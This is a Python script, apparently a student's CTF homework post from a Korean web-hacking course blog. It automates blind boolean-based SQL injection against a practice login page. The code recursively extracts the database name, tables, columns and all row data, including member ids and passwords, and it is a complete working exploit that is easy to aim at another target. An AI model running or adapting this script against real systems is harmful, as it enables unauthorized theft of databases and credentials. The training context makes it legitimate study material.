import requests
import time

URL = 'http://ctf.segfaulthub.com:7777/sqli_3/login.php'
baseData = {'UserId':'', 'Password': "1234", 'Submit': 'Login'}

def sendData(data):
  baseData['UserId'] = data
  response = requests.post(URL, data=baseData)
  data = str(response.content)
  return ("Incorrect information." in data)

def getLength(injectionStr1, injectionStr2):
  count = 0
  while(True):
    if(not(sendData(injectionStr1 + str(count) + injectionStr2))):
      break
    count+=1
  return count

def getDb(URL):
  injectionStr1 = "normaltic' and (select length(database()) = "
  injectionStr2 = " ) and '1'='1"
  dbLeng = getLength(injectionStr1, injectionStr2)

  db = ''
  for i in range(1, dbLeng+1):
    db += B_search_DataBase(i, 0, 127)
  return db
 
def B_search_DataBase(i, min, max):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) = "+ str(middle) +") and '1'='1"
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) > "+ str(middle) +") and '1'='1"
  if(not(sendData(injectionStr))):
    return B_search_DataBase(i, middle, max)
  
  return B_search_DataBase(i, min, middle)

def B_search_TableName(i, min, max, tableIndex, database):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1))  = {middle}  from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))

  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1)) > {middle}  from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))
  if(not(sendData(injectionStr))):
    return B_search_TableName(i, middle, max, tableIndex, database)
  
  return B_search_TableName(i, min, middle, tableIndex, database)

def B_search_colName(i, min, max, tableName, colIndex):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1))  = {middle}  from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
  
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1))  > {middle}  from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
  if(not(sendData(injectionStr))):
    return B_search_colName(i, middle, max, tableName, colIndex)
  
  return B_search_colName(i, min, middle, tableName, colIndex)

def B_search_colData(i, min, max, tableName, col, row):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring({col},{index},1))  = {middle}  from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring({col},{index},1))  > {middle}  from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
  if(not(sendData(injectionStr))):
    return B_search_colData(i, middle, max, tableName, col, row)
  
  return B_search_colData(i, min, middle, tableName, col, row)

def getTables(dbName):
  tables = []
  
  #총 테이블의 개수
  injectionStr1 = "normaltic' and (select count(*) from information_schema.tables where table_schema='"+ str(dbName) +"') = "
  injectionStr2 ="  and '1'='1"
  tableCount = getLength(injectionStr1, injectionStr2)

  
  #테이블 수 만큼
  
  for tableIndex in range(0, tableCount):
    #테이블을 문자열길이 구하기
    injectionStr1 = "normaltic' and (select length(table_name) from information_schema.tables where table_schema='"+ str(dbName) +"' limit "+str(tableIndex)+",1) ="
    injectionStr2 = " and '1'='1"
    tableLen = getLength(injectionStr1, injectionStr2)

    tableName = ''
    for j in range(1, tableLen+1):
      tableName += B_search_TableName(j, 0, 127, tableIndex, dbName )
    tables.append(tableName)
  
  return tables
  

def getCol(tables):
  cols = {}
  for table in tables:
      cols[table] = []
      #컬럼의 개수 구하기
      injectionStr1 = "normaltic' and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"') = "
      injectionStr2 ="  and '1'='1"
      colCount = getLength(injectionStr1, injectionStr2)

      for colIndex in range(0, colCount):
        #컬럼 길이 구하기
        injectionStr1 = "normaltic' and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"' limit "+str(colIndex)+",1) ="
        injectionStr2 = " and '1'='1"
        colLen = getLength(injectionStr1, injectionStr2)

        colName = ''
        for i in range(1, colLen+1):
          colName += B_search_colName(i, 0, 127, table, colIndex )
        cols[table].append(colName)

  return cols

def getTableData(table, cols):
  # 데이터의 row 수 확인
  injectionStr1 = "normaltic' and (select count(*) from {table} ) = ".format(table=table)
  injectionStr2 ="  and '1'='1"
  rowCnt = getLength(injectionStr1, injectionStr2)
  
  #row 수 만큼 도는 반복문
  result = []
  for row in range(0, rowCnt):
    # 컬럼 수만큼 도는 반복문
    rowData = {}
    for col in cols:
      #컬럼 데이터 길이 구하기
      injectionStr1 = "normaltic' and (select length({col}) from {table} limit {row},1 ) = ".format(table=table, row=row, col=col)
      injectionStr2 ="  and '1'='1"
      conDataLen = getLength(injectionStr1, injectionStr2)
      
      colData = ''
      for i in range(1, conDataLen+1):
        colData += B_search_colData(i, 0, 127, table, col, row)
      rowData[col] = colData

    result.append(rowData)
  return result

startTime = time.time()

print("progran start")
dbName = getDb(URL)
print("dbName is ={}".format(dbName))
tables = getTables(dbName)
print("tables: {tables}".format(tables=tables))
tableCols = getCol(tables)
print("tablesCols: {tableCols}".format(tableCols=tableCols))

# dbName = 'sqli_2'
# tables = ['flag_table', 'member']
# tableCols = {'flag_table': ['flag'], 'member': ['id', 'pass', 'name']}

print("extract Data start")
for table, cols in tableCols.items():
  print("==================={table} table Data Start===============".format(table=table))
  print(getTableData(table, cols))
  print("==================={table} table Data End===============".format(table=table))


endTime = time.time()

print(f"{endTime - startTime:.5f} sec")

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 2  (0) 2023.12.20
SQL Injection Point 1  (1) 2023.12.18
CTF Athentication Bypass(Login Bypass 4)  (2) 2023.12.03
CTF Athentication Bypass(Login Bypass 3)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 2)  (1) 2023.12.03

+ Recent posts